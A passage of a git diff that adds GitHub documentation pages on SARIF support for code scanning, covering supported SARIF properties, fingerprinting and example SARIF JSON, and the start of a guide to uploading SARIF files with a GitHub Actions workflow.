%}](/code-security/secure-coding/uploading-a-sarif-file-to-github)." For more information about the SARIF 2.1.0 JSON schema, see [`sarif-schema-2.1.0.json`](https://github.com/oasis-tcs/sarif-spec/blob/master/Documents/CommitteeSpecifications/2.1.0/sarif-schema-2.1.0.json). + +If you're using {% data variables.product.prodname_actions %} with the {% data variables.product.prodname_codeql_workflow %} or using the {% data variables.product.prodname_codeql_runner %}, then the {% data variables.product.prodname_code_scanning %} results will automatically use the supported subset of SARIF 2.1.0. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)" or "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." + +{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +If you're using the {% data variables.product.prodname_codeql_cli %}, then you can specify the version of SARIF to use. For more information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#analyzing-a-codeql-database)."{% endif %} + +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +You can upload multiple SARIF files for the same tool and commit, and analyze each file using {% data variables.product.prodname_code_scanning %}. You can indicate a "category" for each analysis by specifying a `runAutomationDetails.id` in each file. Only SARIF files with the same category will overwrite each other. For more information about this property, see [`runAutomationDetails` object](#runautomationdetails-object) below. +{% endif %} + +{% data variables.product.prodname_dotcom %} uses properties in the SARIF file to display alerts. For example, the `shortDescription` and `fullDescription` appear at the top of a {% data variables.product.prodname_code_scanning %} alert. The `location` allows {% data variables.product.prodname_dotcom %} to show annotations in your code file. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." + +If you're new to SARIF and want to learn more, see Microsoft's [`SARIF tutorials`](https://github.com/microsoft/sarif-tutorials) repository. + +## Preventing duplicate alerts using fingerprints + +Each time the results of a new code scan are uploaded, the results are processed and alerts are added to the repository. To prevent duplicate alerts for the same problem, {% data variables.product.prodname_code_scanning %} uses fingerprints to match results across various runs so they only appear once in the latest run for the selected branch. This makes it possible to match alerts to the right line of code when files are edited. + +{% data variables.product.prodname_dotcom %} uses the `partialFingerprints` property in the OASIS standard to detect when two results are logically identical. For more information, see the "[partialFingerprints property](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012611)" entry in the OASIS documentation. + +SARIF files created by the {% data variables.product.prodname_codeql_workflow %} or using the {% data variables.product.prodname_codeql_runner %} include fingerprint data. If you upload a SARIF file using the `upload-sarif` action and this data is missing, {% data variables.product.prodname_dotcom %} attempts to populate the `partialFingerprints` field from the source files. For more information about uploading results, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions)." + +If you upload a SARIF file without fingerprint data using the `/code-scanning/sarifs` API endpoint, the {% data variables.product.prodname_code_scanning %} alerts will be processed and displayed, but users may see duplicate alerts. To avoid seeing duplicate alerts, you should calculate fingerprint data and populate the `partialFingerprints` property before you upload the SARIF file. You may find the script that the `upload-sarif` action uses a helpful starting point: https://github.com/github/codeql-action/blob/main/src/fingerprints.ts. For more information about the API, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)." + +## Validating your SARIF file + + + +You can check a SARIF file is compatible with {% data variables.product.prodname_code_scanning %} by testing it against the {% data variables.product.prodname_dotcom %} ingestion rules. For more information, visit the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/). + +{% data reusables.code-scanning.upload-sarif-alert-limit %} + +## Supported SARIF output file properties + +If you use a code analysis engine other than {% data variables.product.prodname_codeql %}, you can review the supported SARIF properties to optimize how your analysis results will appear on {% data variables.product.prodname_dotcom %}. + +Any valid SARIF 2.1.0 output file can be uploaded, however, {% data variables.product.prodname_code_scanning %} will only use the following supported properties. + +### `sarifLog` object + +| Name | Description | +|----|----| +| `$schema` | **Required.** The URI of the SARIF JSON schema for version 2.1.0. For example, `https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json`. | +| `version` | **Required.** {% data variables.product.prodname_code_scanning_capc %} only supports SARIF version `2.1.0`. +| `runs[]` | **Required.** A SARIF file contains an array of one or more runs. Each run represents a single run of an analysis tool. For more information about a `run`, see the [`run` object](#run-object). + +### `run` object + +{% data variables.product.prodname_code_scanning_capc %} uses the `run` object to filter results by tool and provide information about the source of a result. The `run` object contains the `tool.driver` tool component object, which contains information about the tool that generated the results. Each `run` can only have results for one analysis tool. + +| Name | Description | +|----|----| +| `tool.driver.name` | **Required.** The name of the analysis tool. {% data variables.product.prodname_code_scanning_capc %} displays the name on {% data variables.product.prodname_dotcom %} to allow you to filter results by tool. | +| `tool.driver.version` | **Optional.** The version of the analysis tool. {% data variables.product.prodname_code_scanning_capc %} uses the version number to track when results may have changed due to a tool version change rather than a change in the code being analyzed. If the SARIF file includes the `semanticVersion` field, `version` is not used by {% data variables.product.prodname_code_scanning %}. | +| `tool.driver.semanticVersion` | **Optional.** The version of the analysis tool, specified by the Semantic Versioning 2.0 format. {% data variables.product.prodname_code_scanning_capc %} uses the version number to track when results may have changed due to a tool version change rather than a change in the code being analyzed. If the SARIF file includes the `semanticVersion` field, `version` is not used by {% data variables.product.prodname_code_scanning %}. For more information, see "[Semantic Versioning 2.0.0](https://semver.org/)" in the Semantic Versioning documentation. | +| `tool.driver.rules[]` | **Required.** An array of `reportingDescriptor` objects that represent rules. The analysis tool uses rules to find problems in the code being analyzed. For more information, see the [`reportingDescriptor` object](#reportingdescriptor-object). | +| `results[]` | **Required.** The results of the analysis tool. {% data variables.product.prodname_code_scanning_capc %} displays the results on {% data variables.product.prodname_dotcom %}. For more information, see the [`result` object](#result-object). + +### `reportingDescriptor` object + +| Name | Description | +|----|----| +| `id` | **Required.** A unique identifier for the rule. The `id` is referenced from other parts of the SARIF file and may be used by {% data variables.product.prodname_code_scanning %} to display URLs on {% data variables.product.prodname_dotcom %}. | +| `name` | **Optional.** The name of the rule. {% data variables.product.prodname_code_scanning_capc %} displays the name to allow results to be filtered by rule on {% data variables.product.prodname_dotcom %}. | +| `shortDescription.text` | **Required.** A concise description of the rule. {% data variables.product.prodname_code_scanning_capc %} displays the short description on {% data variables.product.prodname_dotcom %} next to the associated results. +| `fullDescription.text` | **Required.** A description of the rule. {% data variables.product.prodname_code_scanning_capc %} displays the full description on {% data variables.product.prodname_dotcom %} next to the associated results. The max number of characters is limited to 1000. +| `defaultConfiguration.level` | **Optional.** Default severity level of the rule. {% data variables.product.prodname_code_scanning_capc %} uses severity levels to help you understand how critical the result is for a given rule. This value can be overridden by the `level` attribute in the `result` object. For more information, see the [`result` object](#result-object). Default: `warning`. +| `help.text` | **Required.** Documentation for the rule using text format. {% data variables.product.prodname_code_scanning_capc %} displays this help documentation next to the associated results. +| `help.markdown` | **Recommended.** Documentation for the rule using Markdown format. {% data variables.product.prodname_code_scanning_capc %} displays this help documentation next to the associated results. When `help.markdown` is available, it is displayed instead of `help.text`. +| `properties.tags[]` | **Optional.** An array of strings. {% data variables.product.prodname_code_scanning_capc %} uses `tags` to allow you to filter results on {% data variables.product.prodname_dotcom %}. For example, it is possible to filter to all results that have the tag `security`. +| `properties.precision` | **Recommended.** A string that indicates how often the results indicated by this rule are true. For example, if a rule has a known high false-positive rate, the precision should be `low`. {% data variables.product.prodname_code_scanning_capc %} orders results by precision on {% data variables.product.prodname_dotcom %} so that the results with the highest `level`, and highest `precision` are shown first. Can be one of: `very-high`, `high`, `medium`, or `low`. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `properties.problem.severity` | **Recommended.** A string that indicates the level of severity of any alerts generated by a non-security query. This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `problem.severity`, and highest `precision` are shown first. Can be one of: `error`, `warning`, or `recommendation`. +| `properties.security-severity` | **Recommended.** A score that indicates the level of severity, between 0.0 and 10.0, for security queries (`@tags` includes `security`). This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `security-severity`, and highest `precision` are shown first. {% data variables.product.prodname_code_scanning_capc %} translates numerical scores as follows: over 9.0 is `critical`, 7.0 to 8.9 is `high`, 4.0 to 6.9 is `medium` and 3.9 or less is `low`. {% endif %} + +### `result` object + +{% data reusables.code-scanning.upload-sarif-alert-limit %} + +| Name | Description | +|----|----| +| `ruleId`| **Optional.** The unique identifier of the rule (`reportingDescriptor.id`). For more information, see the [`reportingDescriptor` object](#reportingdescriptor-object). {% data variables.product.prodname_code_scanning_capc %} uses the rule identifier to filter results by rule on {% data variables.product.prodname_dotcom %}. +| `ruleIndex`| **Optional.** The index of the associated rule (`reportingDescriptor` object) in the tool component `rules` array. For more information, see the [`run` object](#run-object). +| `rule`| **Optional.** A reference used to locate the rule (reporting descriptor) for this result. For more information, see the [`reportingDescriptor` object](#reportingdescriptor-object). +| `level`| **Optional.** The severity of the result. This level overrides the default severity defined by the rule. {% data variables.product.prodname_code_scanning_capc %} uses the level to filter results by severity on {% data variables.product.prodname_dotcom %}. +| `message.text`| **Required.** A message that describes the result. {% data variables.product.prodname_code_scanning_capc %} displays the message text as the title of the result. Only the first sentence of the message will be displayed when visible space is limited. +| `locations[]`| **Required.** The set of locations where the result was detected up to a maximum of 10. Only one location should be included unless the problem can only be corrected by making a change at every specified location. **Note:** At least one location is required for {% data variables.product.prodname_code_scanning %} to display a result. {% data variables.product.prodname_code_scanning_capc %} will use this property to decide which file to annotate with the result. Only the first value of this array is used. All other values are ignored. +| `partialFingerprints`| **Required.** A set of strings used to track the unique identity of the result. {% data variables.product.prodname_code_scanning_capc %} uses `partialFingerprints` to accurately identify which results are the same across commits and branches. {% data variables.product.prodname_code_scanning_capc %} will attempt to use `partialFingerprints` if they exist. If you are uploading third-party SARIF files with the `upload-action`, the action will create `partialFingerprints` for you when they are not included in the SARIF file. For more information, see "[Preventing duplicate alerts using fingerprints](#preventing-duplicate-alerts-using-fingerprints)." **Note:** {% data variables.product.prodname_code_scanning_capc %} only uses the `primaryLocationLineHash`. +| `codeFlows[].threadFlows[].locations[]`| **Optional.** An array of `location` objects for a `threadFlow` object, which describes the progress of a program through a thread of execution. A `codeFlow` object describes a pattern of code execution used to detect a result. If code flows are provided, {% data variables.product.prodname_code_scanning %} will expand code flows on {% data variables.product.prodname_dotcom %} for the relevant result. For more information, see the [`location` object](#location-object). +| `relatedLocations[]`| A set of locations relevant to this result. {% data variables.product.prodname_code_scanning_capc %} will link to related locations when they are embedded in the result message. For more information, see the [`location` object](#location-object). + +### `location` object + +A location within a programming artifact, such as a file in the repository or a file that was generated during a build. + +| Name | Description | +|----|----| +| `location.id` | **Optional.** A unique identifier that distinguishes this location from all other locations within a single result object. +| `location.physicalLocation` | **Required.** Identifies the artifact and region. For more information, see the [`physicalLocation`](#physicallocation-object). +| `location.message.text` | **Optional.** A message relevant to the location. + +### `physicalLocation` object + +| Name | Description | +|----|----| +| `artifactLocation.uri`| **Required.** A URI indicating the location of an artifact, usually a file either in the repository or generated during a build. If the URI is relative, it should be relative to the root of the {% data variables.product.prodname_dotcom %} repository being analyzed. For example, main.js or src/script.js are relative to the root of the repository. If the URI is absolute, {% data variables.product.prodname_code_scanning %} can use the URI to checkout the artifact and match up files in the repository. For example, `https://github.com/ghost/example/blob/00/src/promiseUtils.js`. +| `region.startLine` | **Required.** The line number of the first character in the region. +| `region.startColumn` | **Required.** The column number of the first character in the region. +| `region.endLine` | **Required.** The line number of the last character in the region. +| `region.endColumn` | **Required.** The column number of the character following the end of the region. + +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +### `runAutomationDetails` object + +The `runAutomationDetails` object contains information that specifies the identity of a run. + +{% note %} + +**Note:** `runAutomationDetails` is a SARIF v2.1.0 object. If you're using the {% data variables.product.prodname_codeql_cli %}, you can specify the version of SARIF to use. The equivalent object to `runAutomationDetails` is `.automationId` for SARIF v1 and `.automationLogicalId` for SARIF v2. + +{% endnote %} + +| Name | Description | +|----|----| +| `id`| **Optional.** A string that identifies the category of the analysis and the run ID. Use if you want to upload multiple SARIF files for the same tool and commit, but performed on different languages or different parts of the code. | + +The use of the `runAutomationDetails` object is optional. + +The `id` field can include an analysis category and a run ID. We don't use the run ID part of the `id` field, but we store it. + +Use the category to distinguish between multiple analyses for the same tool or commit, but performed on different languages or different parts of the code. Use the run ID to identify the specific run of the analysis, such as the date the analysis was run. + +`id` is interpreted as `category/run-id`. If the `id` contains no forward slash (`/`), then the entire string is the `run_id` and the `category` is empty. Otherwise, `category` is everything in the string until the last forward slash, and `run_id` is everything after. + +| `id` | category | `run_id` | +|----|----|----| +| my-analysis/tool1/2021-02-01 | my-analysis/tool1 | 2021-02-01 +| my-analysis/tool1/ | my-analysis/tool1 | _no `run-id`_ +| my-analysis for tool1 | _no category_ | my-analysis for tool1 + +- The run with an `id` of "my-analysis/tool1/2021-02-01" belongs to the category "my-analysis/tool1". Presumably, this is the run from February 2, 2021. +- The run with an `id` of "my-analysis/tool1/" belongs to the category "my-analysis/tool1" but is not distinguished from other runs in that category. +- The run whose `id` is "my-analysis for tool1 " has a unique identifier but cannot be inferred to belong to any category. + +For more information about the `runAutomationDetails` object and the `id` field, see [runAutomationDetails object](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012479) in the OASIS documentation. + +Note that the rest of the supported fields are ignored. + +{% endif %} + +## SARIF output file examples + +These example SARIF output files show supported properties and example values. + +### Example with minimum required properties + +This SARIF output file has example values to show the minimum required properties for {% data variables.product.prodname_code_scanning %} results to work as expected. If you remove any properties or don't include values, this data will not be displayed correctly or sync on {% data variables.product.prodname_dotcom %}. + +```json +{ + "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json", + "version": "2.1.0", + "runs": [ + { + "tool": { + "driver": { + "name": "Tool Name", + "rules": [ + { + "id": "R01" + ... + "properties" : { + "id" : "java/unsafe-deserialization", + "kind" : "path-problem", + "name" : "...", + "problem.severity" : "error", + "security-severity" : "9.8", + } + ] + } + }, + "results": [ + { + "ruleId": "R01", + "message": { + "text": "Result text. This result does not have a rule associated." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "fileURI" + }, + "region": { + "startLine": 2, + "startColumn": 7, + "endColumn": 10 + } + } + } + ], + "partialFingerprints": { + "primaryLocationLineHash": "39fa2ee980eb94b0:1" + } + } + ] + } + ] +} +``` + +### Example showing all supported SARIF properties + +This SARIF output file has example values to show all supported SARIF properties for {% data variables.product.prodname_code_scanning %}. + +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +```json +{ + "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json", + "version": "2.1.0", + "runs": [ + { + "tool": { + "driver": { + "name": "Tool Name", + "semanticVersion": "2.0.0", + "rules": [ + { + "id": "3f292041e51d22005ce48f39df3585d44ce1b0ad", + "name": "js/unused-local-variable", + "shortDescription": { + "text": "Unused variable, import, function or class" + }, + "fullDescription": { + "text": "Unused variables, imports, functions or classes may be a symptom of a bug and should be examined carefully." + }, + "defaultConfiguration": { + "level": "note" + }, + "properties": { + "tags": [ + "maintainability" + ], + "precision": "very-high" + } + }, + { + "id": "d5b664aefd5ca4b21b52fdc1d744d7d6ab6886d0", + "name": "js/inconsistent-use-of-new", + "shortDescription": { + "text": "Inconsistent use of 'new'" + }, + "fullDescription": { + "text": "If a function is intended to be a constructor, it should always be invoked with 'new'. Otherwise, it should always be invoked as a normal function, that is, without 'new'." + }, + "properties": { + "tags": [ + "reliability", + "correctness", + "language-features" + ], + "precision": "very-high" + } + }, + { + "id": "R01" + } + ] + } + }, + "automationDetails": { + "id": "my-category/" + }, + "results": [ + { + "ruleId": "3f292041e51d22005ce48f39df3585d44ce1b0ad", + "ruleIndex": 0, + "message": { + "text": "Unused variable foo." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "main.js", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "startLine": 2, + "startColumn": 7, + "endColumn": 10 + } + } + } + ], + "partialFingerprints": { + "primaryLocationLineHash": "39fa2ee980eb94b0:1", + "primaryLocationStartColumnFingerprint": "4" + } + }, + { + "ruleId": "d5b664aefd5ca4b21b52fdc1d744d7d6ab6886d0", + "ruleIndex": 1, + "message": { + "text": "Function resolvingPromise is sometimes invoked as a constructor (for example [here](1)), and sometimes as a normal function (for example [here](2))." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "src/promises.js", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "startLine": 2 + } + } + } + ], + "partialFingerprints": { + "primaryLocationLineHash": "5061c3315a741b7d:1", + "primaryLocationStartColumnFingerprint": "7" + }, + "relatedLocations": [ + { + "id": 1, + "physicalLocation": { + "artifactLocation": { + "uri": "src/ParseObject.js", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "startLine": 2281, + "startColumn": 33, + "endColumn": 55 + } + }, + "message": { + "text": "here" + } + }, + { + "id": 2, + "physicalLocation": { + "artifactLocation": { + "uri": "src/LiveQueryClient.js", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "startLine": 166 + } + }, + "message": { + "text": "here" + } + } + ] + }, + { + "ruleId": "R01", + "message": { + "text": "Specifying both [ruleIndex](1) and [ruleID](2) might lead to inconsistencies." + }, + "level": "error", + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "full.sarif", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "startLine": 54, + "startColumn": 10, + "endLine": 55, + "endColumn": 25 + } + } + } + ], + "relatedLocations": [ + { + "id": 1, + "physicalLocation": { + "artifactLocation": { + "uri": "full.sarif" + }, + "region": { + "startLine": 81, + "startColumn": 10, + "endColumn": 18 + } + }, + "message": { + "text": "here" + } + }, + { + "id": 2, + "physicalLocation": { + "artifactLocation": { + "uri": "full.sarif" + }, + "region": { + "startLine": 82, + "startColumn": 10, + "endColumn": 21 + } + }, + "message": { + "text": "here" + } + } + ], + "codeFlows": [ + { + "threadFlows": [ + { + "locations": [ + { + "location": { + "physicalLocation": { + "region": { + "startLine": 11, + "endLine": 29, + "startColumn": 10, + "endColumn": 18 + }, + "artifactLocation": { + "uriBaseId": "%SRCROOT%", + "uri": "full.sarif" + } + }, + "message": { + "text": "Rule has index 0" + } + } + }, + { + "location": { + "physicalLocation": { + "region": { + "endColumn": 47, + "startColumn": 12, + "startLine": 12 + }, + "artifactLocation": { + "uriBaseId": "%SRCROOT%", + "uri": "full.sarif" + } + } + } + } + ] + } + ] + } + ], + "partialFingerprints": { + "primaryLocationLineHash": "ABC:2" + } + } + ], + "columnKind": "utf16CodeUnits" + } + ] +} +``` +{% else %} +```json +{ + "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json", + "version": "2.1.0", + "runs": [ + { + "tool": { + "driver": { + "name": "Tool Name", + "semanticVersion": "2.0.0", + "rules": [ + { + "id": "3f292041e51d22005ce48f39df3585d44ce1b0ad", + "name": "js/unused-local-variable", + "shortDescription": { + "text": "Unused variable, import, function or class" + }, + "fullDescription": { + "text": "Unused variables, imports, functions or classes may be a symptom of a bug and should be examined carefully." + }, + "defaultConfiguration": { + "level": "note" + }, + "properties": { + "tags": [ + "maintainability" + ], + "precision": "very-high" + } + }, + { + "id": "d5b664aefd5ca4b21b52fdc1d744d7d6ab6886d0", + "name": "js/inconsistent-use-of-new", + "shortDescription": { + "text": "Inconsistent use of 'new'" + }, + "fullDescription": { + "text": "If a function is intended to be a constructor, it should always be invoked with 'new'. Otherwise, it should always be invoked as a normal function, that is, without 'new'." + }, + "properties": { + "tags": [ + "reliability", + "correctness", + "language-features" + ], + "precision": "very-high" + } + }, + { + "id": "R01" + } + ] + } + }, + "results": [ + { + "ruleId": "3f292041e51d22005ce48f39df3585d44ce1b0ad", + "ruleIndex": 0, + "message": { + "text": "Unused variable foo." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "main.js", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "startLine": 2, + "startColumn": 7, + "endColumn": 10 + } + } + } + ], + "partialFingerprints": { + "primaryLocationLineHash": "39fa2ee980eb94b0:1", + "primaryLocationStartColumnFingerprint": "4" + } + }, + { + "ruleId": "d5b664aefd5ca4b21b52fdc1d744d7d6ab6886d0", + "ruleIndex": 1, + "message": { + "text": "Function resolvingPromise is sometimes invoked as a constructor (for example [here](1)), and sometimes as a normal function (for example [here](2))." + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "src/promises.js", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "startLine": 2 + } + } + } + ], + "partialFingerprints": { + "primaryLocationLineHash": "5061c3315a741b7d:1", + "primaryLocationStartColumnFingerprint": "7" + }, + "relatedLocations": [ + { + "id": 1, + "physicalLocation": { + "artifactLocation": { + "uri": "src/ParseObject.js", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "startLine": 2281, + "startColumn": 33, + "endColumn": 55 + } + }, + "message": { + "text": "here" + } + }, + { + "id": 2, + "physicalLocation": { + "artifactLocation": { + "uri": "src/LiveQueryClient.js", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "startLine": 166 + } + }, + "message": { + "text": "here" + } + } + ] + }, + { + "ruleId": "R01", + "message": { + "text": "Specifying both [ruleIndex](1) and [ruleID](2) might lead to inconsistencies." + }, + "level": "error", + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "full.sarif", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "startLine": 54, + "startColumn": 10, + "endLine": 55, + "endColumn": 25 + } + } + } + ], + "relatedLocations": [ + { + "id": 1, + "physicalLocation": { + "artifactLocation": { + "uri": "full.sarif" + }, + "region": { + "startLine": 81, + "startColumn": 10, + "endColumn": 18 + } + }, + "message": { + "text": "here" + } + }, + { + "id": 2, + "physicalLocation": { + "artifactLocation": { + "uri": "full.sarif" + }, + "region": { + "startLine": 82, + "startColumn": 10, + "endColumn": 21 + } + }, + "message": { + "text": "here" + } + } + ], + "codeFlows": [ + { + "threadFlows": [ + { + "locations": [ + { + "location": { + "physicalLocation": { + "region": { + "startLine": 11, + "endLine": 29, + "startColumn": 10, + "endColumn": 18 + }, + "artifactLocation": { + "uriBaseId": "%SRCROOT%", + "uri": "full.sarif" + } + }, + "message": { + "text": "Rule has index 0" + } + } + }, + { + "location": { + "physicalLocation": { + "region": { + "endColumn": 47, + "startColumn": 12, + "startLine": 12 + }, + "artifactLocation": { + "uriBaseId": "%SRCROOT%", + "uri": "full.sarif" + } + } + } + } + ] + } + ] + } + ], + "partialFingerprints": { + "primaryLocationLineHash": "ABC:2" + } + } + ], + "columnKind": "utf16CodeUnits" + } + ] +} +``` +{% endif %} diff --git a/translations/pt-BR/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md b/translations/pt-BR/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md new file mode 100644 index 0000000000..96fc77dae0 --- /dev/null +++ b/translations/pt-BR/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md @@ -0,0 +1,141 @@ +--- +title: Uploading a SARIF file to GitHub +shortTitle: Upload a SARIF file +intro: '{% data reusables.code-scanning.you-can-upload-third-party-analysis %}' +permissions: 'People with write permissions to a repository can upload {% data variables.product.prodname_code_scanning %} data generated outside {% data variables.product.prodname_dotcom %}.' +product: '{% data reusables.gated-features.code-scanning %}' +redirect_from: + - /github/managing-security-vulnerabilities/uploading-a-code-scanning-analysis-to-github + - /github/finding-security-vulnerabilities-and-errors-in-your-code/uploading-a-sarif-file-to-github + - /code-security/secure-coding/uploading-a-sarif-file-to-github + - /code-security/secure-coding/integrating-with-code-scanning/uploading-a-sarif-file-to-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - Integration + - Actions + - Repositories + - CI + - SARIF +--- + + +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.enterprise-enable-code-scanning %} +{% data reusables.code-scanning.deprecation-codeql-runner %} + +## About SARIF file uploads for {% data variables.product.prodname_code_scanning %} + +{% data variables.product.prodname_dotcom %} creates {% data variables.product.prodname_code_scanning %} alerts in a repository using information from Static Analysis Results Interchange Format (SARIF) files. SARIF files can be uploaded to a repository using the API or {% data variables.product.prodname_actions %}. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." + +You can generate SARIF files using many static analysis security testing tools, including {% data variables.product.prodname_codeql %}. The results must use SARIF version 2.1.0. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)." + +You can upload the results using {% data variables.product.prodname_actions %}, the {% data variables.product.prodname_code_scanning %} API, {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}the {% data variables.product.prodname_codeql_cli %}, {% endif %}or the {% data variables.product.prodname_codeql_runner %}. The best upload method will depend on how you generate the SARIF file, for example, if you use: + +- {% data variables.product.prodname_actions %} to run the {% data variables.product.prodname_codeql %} action, there is no further action required. The {% data variables.product.prodname_codeql %} action uploads the SARIF file automatically when it completes analysis. +- {% data variables.product.prodname_actions %} to run a SARIF-compatible analysis tool, you could update the workflow to include a final step that uploads the results (see below). {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} + - The {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} in your CI system, you can use the CLI to upload results to {% data variables.product.prodname_dotcom %} (for more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)").{% endif %} +- The {% data variables.product.prodname_codeql_runner %}, to run {% data variables.product.prodname_code_scanning %} in your CI system, by default the runner automatically uploads results to {% data variables.product.prodname_dotcom %} on completion. If you block the automatic upload, when you are ready to upload results you can use the `upload` command (for more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"). +- A tool that generates results as an artifact outside of your repository, you can use the {% data variables.product.prodname_code_scanning %} API to upload the file (for more information, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)"). + +{% data reusables.code-scanning.not-available %} + +## Uploading a {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_actions %} + +To use {% data variables.product.prodname_actions %} to upload a third-party SARIF file to a repository, you'll need a workflow. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." + +Your workflow will need to use the `upload-sarif` action, which is part of the `github/codeql-action` repository. It has input parameters that you can use to configure the upload. The main input parameter you'll use is `sarif-file`, which configures the file or directory of SARIF files to be uploaded. The directory or file path is relative to the root of the repository. For more information see the [`upload-sarif` action](https://github.com/github/codeql-action/tree/HEAD/upload-sarif). + +The `upload-sarif` action can be configured to run when the `push` and `scheduled` event occur. For more information about {% data variables.product.prodname_actions %} events, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." + +If your SARIF file doesn't include `partialFingerprints`, the `upload-sarif` action will calculate the `partialFingerprints` field for you and attempt to prevent duplicate alerts. {% data variables.product.prodname_dotcom %} can only create `partialFingerprints` when the repository contains both the SARIF file and the source code used in the static analysis. For more information about preventing duplicate alerts, see "[About SARIF support for code scanning](/code-security/secure-coding/sarif-support-for-code-scanning#preventing-duplicate-alerts-using-fingerprints)." + +{% data reusables.code-scanning.upload-sarif-alert-limit %} + +### Example workflow for SARIF files generated outside of a repository + +You can create a new workflow that uploads SARIF files after you commit them to your repository. This is useful when the SARIF file is generated as an artifact outside of your repository. + +This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." + +This workflow uploads the `results.sarif` file located in the root of the repository. For more information about creating a workflow file, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." + +Alternatively, you could modify this workflow to upload a directory of SARIF files. For example, you could place all SARIF files in a directory in the root of your repository called `sarif-output` and set the action's input parameter `sarif_file` to `sarif-output`. + +```yaml +name: "Upload SARIF" + +# Run workflow each time code is pushed to your repository and on a schedule. +# The scheduled workflow runs every Thursday at 15:45 UTC. +on: + push: + schedule: + - cron: '45 15 * * 4' + +jobs: + build: + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + permissions: + security-events: write{% endif %} + steps: + # This step checks out a copy of your repository. + - name: Checkout repository + uses: actions/checkout@v2 + - name: Upload SARIF file + uses: github/codeql-action/upload-sarif@v1 + with: + # Path to SARIF file relative to the root of the repository + sarif_file: results.sarif +``` + +### Example workflow that runs the ESLint analysis tool + +If you generate your third-party SARIF file as part of a continuous integration (CI) workflow, you can add the `upload-sarif` action as a step after running your CI tests. If you don't already have a CI workflow, you can create one using a {% data variables.product.prodname_actions %} template. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)." + +This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger 